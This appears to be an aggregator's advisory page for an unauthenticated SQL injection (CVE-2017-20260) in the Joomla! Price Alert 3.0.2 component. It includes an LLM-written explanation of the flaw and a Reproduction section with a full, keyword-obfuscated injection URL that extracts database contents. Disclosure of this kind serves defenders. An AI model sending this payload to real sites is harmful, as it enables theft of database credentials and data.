VYPR
Unrated severityNVD Advisory· Published Jun 19, 2026

Joomla! Component Price Alert 3.0.2 SQL Injection

CVE-2017-20260

Description

Joomla! Component Price Alert 3.0.2 contains an SQL injection vulnerability that allows unauthenticated attackers to execute arbitrary SQL queries by injecting malicious code through the product_id parameter. Attackers can send requests to the subscribeajax view with crafted SQL payloads in the product_id parameter to extract sensitive database information including credentials and configuration data.

AI Insight

LLM-synthesized narrative grounded in this CVE's description and references.

Affected products

1

Patches

Vulnerability mechanics

Root cause

"Missing input sanitization on the product_id parameter allows SQL injection."

Attack vector

An unauthenticated attacker sends a crafted HTTP GET request to the Joomla! instance targeting the `com_price_alert` component's `subscribeajax` view. The `product_id` parameter is injected with SQL payloads, such as stacked queries or blind injection constructs, which are executed by the database backend. The exploit-db proof-of-concept demonstrates using `AND`, `SELECT`, `FROM`, and `CONCAT` operators to extract database contents [ref_id=1]. This allows the attacker to retrieve sensitive information including database credentials and configuration data without requiring any prior authentication.

Affected code

The vulnerability exists in the Joomla! Price Alert component version 3.0.2, specifically in the `subscribeajax` view. The `product_id` parameter is passed directly into SQL queries without sanitization, allowing an attacker to inject arbitrary SQL commands through the `index.php?option=com_price_alert&view=subscribeajax&task=pricealert_ajax&product_id=[SQL]` endpoint [ref_id=1].

What the fix does

The advisory does not include a patch diff. The recommended remediation is to ensure that the `product_id` parameter is properly sanitized or parameterized before being used in SQL queries. Without a published fix, users should upgrade to a patched version of the Price Alert component if one becomes available, or apply input validation and prepared statements to the affected `subscribeajax` view.

Preconditions

  • configThe Joomla! Price Alert component 3.0.2 must be installed and enabled
  • networkThe target endpoint must be reachable over HTTP/HTTPS
  • authNo authentication is required
  • inputAttacker controls the product_id query parameter

Reproduction

Send a GET request to `http://localhost/[PATH]/index.php?option=com_price_alert&view=subscribeajax&task=pricealert_ajax&product_id=64+aND(/*!11100sELeCT*/+0x30783331+/*!11100FrOM*/+(/*!11100SeLeCT*/+cOUNT(*),/*!11100CoNCaT*/((sELEcT(sELECT+/*!11100CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1` [ref_id=1].

Generated on Jun 20, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

4

News mentions

0

No linked articles in our index yet.